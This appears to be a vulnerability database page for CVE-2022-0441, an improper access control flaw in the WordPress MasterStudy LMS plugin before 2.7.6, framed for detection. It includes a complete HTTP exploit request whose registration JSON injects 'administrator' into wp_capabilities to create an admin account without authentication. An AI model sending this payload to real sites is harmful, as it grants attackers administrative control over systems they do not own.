🔙 목록으로 돌아가기

CVE-2022-0441: MasterStudy LMS <2.7.6 - Improper Access Control

TitleMasterStudy LMS <2.7.6 - Improper Access Control
Authordwisiswant0,theamanrawat
SeverityCritical
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity.
RemediationUpgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.
CVSS Score9.8
EPSS Score0.81347
CVE IDCVE-2022-0441
CWE IDCWE-269,NVD-CWE-Other
Tags cve2022 cve wordpress wp-plugin wpscan wp unauth stylemixthemes vkev vuln

🔍 Vulnerability Description

WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce=YcOngX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Content-Length: 331
Content-Type: application/json
Origin: http://www.victim.com
Accept-Encoding: gzip

{"user_login":"ZbrPOQ","user_email":"pabxe3@klehb2.com","user_password":"UTJZDlgB","user_password_re":"UTJZDlgB","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0441.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0441.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A